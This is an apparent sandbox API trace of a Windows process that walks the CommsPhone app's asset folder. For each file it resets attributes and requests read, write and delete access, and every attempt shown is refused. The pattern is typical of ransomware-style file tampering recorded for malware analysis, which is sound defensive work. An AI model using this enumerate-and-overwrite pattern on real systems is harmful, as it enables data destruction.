	[0092.011] wcscat (in: _Dest=0x5026850, _Source="BaseVoicemailMedTileThin.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailMedTileThin.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailMedTileThin.scale-200.png"
	[0092.011] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailMedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemailmedtilethin.scale-200.png")) returned 0x20
	[0092.016] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailMedTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.016] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailMedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemailmedtilethin.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.016] GetLastError () returned 0x5
	[0092.016] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailMedTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.017] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026850) returned 1
	[0092.017] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b31838, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b31838, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b31838, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseVoicemailSmallTileThin.scale-200.png", cAlternateFileName="")) returned 1
	[0092.017] wcscmp (_String1="BaseVoicemailSmallTileThin.scale-200.png", _String2=".") returned 1
	[0092.017] wcscmp (_String1="BaseVoicemailSmallTileThin.scale-200.png", _String2="..") returned 1
	[0092.017] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x47176e8
	[0092.017] wcscpy (in: _Dest=0x47176e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0092.017] wcscat (in: _Dest=0x47176e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0092.017] wcscat (in: _Dest=0x47176e8, _Source="BaseVoicemailSmallTileThin.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailSmallTileThin.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailSmallTileThin.scale-200.png"
	[0092.017] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailSmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemailsmalltilethin.scale-200.png")) returned 0x20
	[0092.017] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailSmallTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.018] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailSmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemailsmalltilethin.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.018] GetLastError () returned 0x5
	[0092.018] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailSmallTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47176e8) returned 1
	[0092.018] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b31838, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b31838, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b31838, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x91e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseWideTile.scale-200.png", cAlternateFileName="")) returned 1
	[0092.018] wcscmp (_String1="BaseWideTile.scale-200.png", _String2=".") returned 1
	[0092.018] wcscmp (_String1="BaseWideTile.scale-200.png", _String2="..") returned 1
	[0092.018] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x491dcb8
	[0092.018] wcscpy (in: _Dest=0x491dcb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0092.018] wcscat (in: _Dest=0x491dcb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0092.018] wcscat (in: _Dest=0x491dcb8, _Source="BaseWideTile.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseWideTile.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseWideTile.scale-200.png"
	[0092.018] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseWideTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basewidetile.scale-200.png")) returned 0x20
	[0092.020] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseWideTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.021] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseWideTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basewidetile.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.021] GetLastError () returned 0x5
	[0092.021] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseWideTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.021] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491dcb8) returned 1
	[0092.021] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b31838, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b31838, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b31838, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x43ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CallMDL2.ttf", cAlternateFileName="")) returned 1
	[0092.021] wcscmp (_String1="CallMDL2.ttf", _String2=".") returned 1
	[0092.021] wcscmp (_String1="CallMDL2.ttf", _String2="..") returned 1
	[0092.021] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e11750
	[0092.021] wcscpy (in: _Dest=0x2e11750, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0092.021] wcscat (in: _Dest=0x2e11750, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0092.021] wcscat (in: _Dest=0x2e11750, _Source="CallMDL2.ttf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\CallMDL2.ttf") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\CallMDL2.ttf"
	[0092.021] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\CallMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\callmdl2.ttf")) returned 0x20
	[0092.023] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\CallMDL2.ttf", dwFileAttributes=0x20) returned 0
	[0092.023] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\CallMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\callmdl2.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.024] GetLastError () returned 0x5
	[0092.024] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\CallMDL2.ttf", dwFileAttributes=0x20) returned 0
	[0092.024] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11750) returned 1
	[0092.024] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b31838, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b31838, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b31838, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MissedCall.targetsize-16.png", cAlternateFileName="")) returned 1
	[0092.024] wcscmp (_String1="MissedCall.targetsize-16.png", _String2=".") returned 1
	[0092.024] wcscmp (_String1="MissedCall.targetsize-16.png", _String2="..") returned 1
	[0092.024] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491be08
	[0092.024] wcscpy (in: _Dest=0x491be08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0092.024] wcscat (in: _Dest=0x491be08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0092.024] wcscat (in: _Dest=0x491be08, _Source="MissedCall.targetsize-16.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-16.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-16.png"
	[0092.025] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall.targetsize-16.png")) returned 0x20
	[0092.028] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0092.028] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall.targetsize-16.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.028] GetLastError () returned 0x5
	[0092.028] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0092.028] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491be08) returned 1
	[0092.028] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b57b05, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b57b05, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b57b05, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MissedCall.targetsize-20.png", cAlternateFileName="")) returned 1
	[0092.028] wcscmp (_String1="MissedCall.targetsize-20.png", _String2=".") returned 1
	[0092.028] wcscmp (_String1="MissedCall.targetsize-20.png", _String2="..") returned 1
	[0092.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491c0f0
	[0092.028] wcscpy (in: _Dest=0x491c0f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0092.028] wcscat (in: _Dest=0x491c0f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0092.028] wcscat (in: _Dest=0x491c0f0, _Source="MissedCall.targetsize-20.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-20.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-20.png"
	[0092.028] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall.targetsize-20.png")) returned 0x20
	[0092.028] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-20.png", dwFileAttributes=0x20) returned 0
	[0092.028] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall.targetsize-20.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.029] GetLastError () returned 0x5
	[0092.029] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-20.png", dwFileAttributes=0x20) returned 0
	[0092.029] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c0f0) returned 1
	[0092.029] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b57b05, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b57b05, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b57b05, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="MissedCall.targetsize-24.png", cAlternateFileName="")) returned 1
	[0092.031] wcscmp (_String1="MissedCall.targetsize-24.png", _String2=".") returned 1
	[0092.031] wcscmp (_String1="MissedCall.targetsize-24.png", _String2="..") returned 1
	[0092.031] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491bd10
	[0092.031] wcscpy (in: _Dest=0x491bd10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0092.032] wcscat (in: _Dest=0x491bd10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0092.032] wcscat (in: _Dest=0x491bd10, _Source="MissedCall.targetsize-24.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-24.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-24.png"
	[0092.032] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall.targetsize-24.png")) returned 0x20
	[0092.032] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0092.032] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall.targetsize-24.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.032] GetLastError () returned 0x5
	[0092.032] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0092.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491bd10) returned 1
	[0092.032] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b57b05, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b57b05, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b57b05, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MissedCall.targetsize-36.png", cAlternateFileName="")) returned 1
	[0092.032] wcscmp (_String1="MissedCall.targetsize-36.png", _String2=".") returned 1
	[0092.032] wcscmp (_String1="MissedCall.targetsize-36.png", _String2="..") returned 1
	[0092.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491bb20
	[0092.032] wcscpy (in: _Dest=0x491bb20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0092.032] wcscat (in: _Dest=0x491bb20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0092.032] wcscat (in: _Dest=0x491bb20, _Source="MissedCall.targetsize-36.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-36.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-36.png"
	[0092.032] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall.targetsize-36.png")) 

Thread:
	id = 565
	os_tid = 0x17fc

	[0077.468] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsApp.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\callsapp.winmd")) returned 0x20
	[0081.723] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsApp.winmd", dwFileAttributes=0x20) returned 0
	[0081.723] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsApp.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\callsapp.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.723] GetLastError () returned 0x5
	[0081.723] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsApp.winmd", dwFileAttributes=0x20) returned 0
	[0081.723] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ca6f0) returned 1

Thread:
	id = 566
	os_tid = 0x1804

	[0077.469] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsCore.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\callscore.winmd")) returned 0x20
	[0081.722] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsCore.winmd", dwFileAttributes=0x20) returned 0
	[0081.722] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsCore.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\callscore.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.722] GetLastError () returned 0x5
	[0081.722] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsCore.winmd", dwFileAttributes=0x20) returned 0
	[0081.722] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ca890) returned 1

Thread:
	id = 567
	os_tid = 0x1808

